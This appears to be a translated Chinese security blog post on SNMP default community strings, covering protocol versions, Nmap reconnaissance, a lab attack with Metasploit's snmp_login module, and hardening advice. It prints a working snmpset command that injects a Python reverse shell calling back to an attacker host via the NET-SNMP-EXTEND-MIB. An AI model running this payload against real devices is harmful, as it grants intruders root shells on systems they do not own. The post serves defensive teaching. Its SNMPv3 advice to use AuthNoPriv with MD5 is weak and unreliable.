SNMP安全风险:默认社区字符串的攻击与防御

本文详细介绍了SNMP协议的安全风险,特别是默认社区字符串的滥用。通过实际攻击演示展示了如何利用SNMP获取系统访问权限,并提供了最佳安全实践建议,包括禁用SNMP、修改默认字符串和使用SNMPv3等防护措施。

SNMP… Strings Attached!

SNMP概述

简单网络管理协议(SNMP)是一种广泛使用的协议,用于管理和监控网络设备,如路由器、交换机和服务器。它允许网络管理员管理和监控网络设备的性能,并在出现问题时进行故障排除。

SNMP基于“管理器-代理”模型,其中中央网络管理系统(NMS)充当管理器,并与每个网络设备上的SNMP代理通信。NMS向代理发送请求以获取设备信息,代理则响应请求的数据。这使得NMS能够从网络上的所有设备收集和分析数据。

SNMP依赖于安全字符串(或“社区字符串”)来授予对设备管理平面的部分访问权限。我们经常看到两个常见的社区字符串——‘public’主要提供只读访问,‘private’通常提供读写访问。

SNMP版本

  1. SNMPv1:这是最旧的版本,认证基于社区字符串,传输时未加密,因此所有信息也以明文传输。它易于设置,但仅受明文社区字符串保护。
  2. SNMPv2c:版本2c与版本1几乎相同,但增加了对64位计数器的支持。这是目前最常用的版本,但像版本1一样,也以明文发送流量,并使用明文社区字符串进行认证。即使您使用非默认社区字符串,获得中间人位置也会通过简单的数据包分析披露社区字符串。
  3. SNMPv3:版本3是SNMP的最新版本,增加了加密和认证,可以一起或分开使用。它比版本1或2c更复杂,但是一个更安全的选择。

信息收集

Nmap有一些有用的NSE脚本专门用于SNMP。例如,使用‘snmp-sysdescr’ NSE脚本,我们可以检索服务器类型和操作系统。

使用‘snmp-interfaces’ NSE脚本,我们可以收集有关设备的一些网络信息,如IP地址、任何其他网络接口,甚至流量统计信息。

这些信息对网络管理员有用,但对攻击者也有用,因为他们可以开始构建系统配置文件并尝试制定攻击。

攻击演示

通过简单的Nmap UDP扫描,我们可以看到SNMP确实在系统上运行,并使用默认UDP端口161。

使用Metasploit的‘scanner/snmp/snmp_login’模块,我们可以看到系统是否使用默认社区字符串。系统实际上使用了‘public’(只读)和‘private’(读写)社区字符串。

由于我们使用‘private’字符串具有读写访问权限,我们现在能够通过向‘nsExtendObjects’表添加额外行来在系统上添加或执行额外命令。

‘nsExtendObjects’是Net-SNMP代理的NET-SNMP-EXTEND-MIB扩展的一部分,允许您查询任意shell脚本。

使用以下命令,我们可以将命令注入SNMP配置,以创建反向shell回连到攻击者系统。

1
2
3
4
5
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c private 192.168.19.128 \ 
 'nsExtendStatus."evil"' = createAndGo \
 'nsExtendCommand."evil"' = /usr/bin/python \
 'nsExtendArgs."evil"' = '-c "import 
   sys,socket,os,pty;s=socket.socket();s.connect((\"192.168.19.50\",1234));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

接下来,我们在攻击者系统上启动Netcat监听器。

使用snmpwalk触发受害者的命令执行,并启动到攻击者系统上Netcat监听器的连接。

我们可以安全地忽略超时消息,因为我们可以在Netcat监听器中看到来自受害者系统的新连接。更糟糕的是,我们不仅拥有到受害者系统的远程shell,还可以看到我们拥有系统的root访问权限。

攻击扩展

这种攻击可以扩展到网络基础设施设备,如路由器、交换机和其他设备。想象一下攻击者修改访问控制列表、更改VLAN配置或简单地禁用网络基础设施设备上的端口的含义。读写访问可用于绕过安全控制、在网络上横向移动或导致拒绝服务事件。

安全最佳实践

  1. 禁用SNMP:如果您没有明确使用SNMP,则应尽可能禁用它。
  2. 修改默认字符串:如果您有意使用它,请确保更改默认社区字符串,并使用‘public’和‘private’以外的内容。使用独特且难以猜测的内容将使攻击者更难访问您网络上的SNMP。
  3. 端口阻塞:您可以在防火墙或访问控制列表(ACL)处阻止对端口161和162的访问。这将允许您的授权系统仍然访问您的SNMP启用设备,同时防止攻击者访问SNMP。
  4. 使用SNMPv3:考虑使用SNMPv3与AuthNoPriv模式加密认证凭据,并配置它使用MD5和SHA以增加安全性。

结论

SNMP是网络管理员的有价值工具,但也可以被攻击者滥用。通过采取必要的安全措施和监控网络,组织可以保护自己免受SNMP滥用,并确保其网络的完整性和可用性。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计